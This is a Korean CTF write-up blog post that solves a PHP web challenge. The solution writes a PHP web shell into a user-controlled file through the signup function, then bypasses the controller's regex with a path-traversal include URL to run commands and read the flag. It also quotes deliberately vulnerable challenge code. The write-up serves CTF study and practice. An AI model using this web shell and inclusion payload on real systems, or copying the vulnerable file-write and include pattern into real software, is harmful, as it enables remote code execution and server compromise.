반응형
문제 Docker
1. 회원가입 시 id에 입력한 값을 파일 명으로 password에 입력한 값을 데이터로 저장할 수 있습니다.
function save_user_id($id, $pw){
chdir('../');
file_put_contents("dbs/{$id}", serialize($pw));
}
2. 이를 통하여 dbs 폴더 내 아래와 같은 파일을 생성하였습니다.
파일명 : ll.php
파일 데이터 : s:5:"<?php system($_GET['cmd']);?>";
3. 또한, index.php 파일에서 a, b Parameter를 이용하여 특정 페이지를 include 하는 코드가 존재하고 있습니다.
class Controller {
private $board = '';
private $action = '';
function __construct($board, $action) {
$this->board = $board;
$this->action = $action;
if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
$this->board = 'main';
$this->action = 'index';
}
}
function process() {
$path = "{$this->board}/{$this->action}";
if(preg_match('/php|html/i', $path)){
alert('not invalid', 'back');
}
chdir('pages/');
if(!file_exists("{$path}.php")) $path = 'main/index';
include("{$path}.php");
}
}
$board = $_GET['b'] ? $_GET['b'] : 'main' ;
$action = $_GET['a'] ? $_GET['a'] : 'index';
$controller = new Controller($board, $action);
$controller->process();
4. Path에 해당하는 a Parameter에 /를 포함한 경로를 입력함으로써 정규식 표현을 우회하여 특정 파일을 include 시킬 수 있는 것을 확인하였습니다.
접속 URI : http://3.37.8.189:5580/index.php?b=..&a=dbs/ll&cmd=cat%20/flag
'CTF&War Game > CTF' 카테고리의 다른 글
WITHCON 2022 Buffalo [Steal] Write Up (0) | 2022.10.15 |
---|---|
[CCE 2022] blue archive Write Up (0) | 2022.09.25 |
[CCE 2022] BabyWeb Write Up (0) | 2022.09.24 |
댓글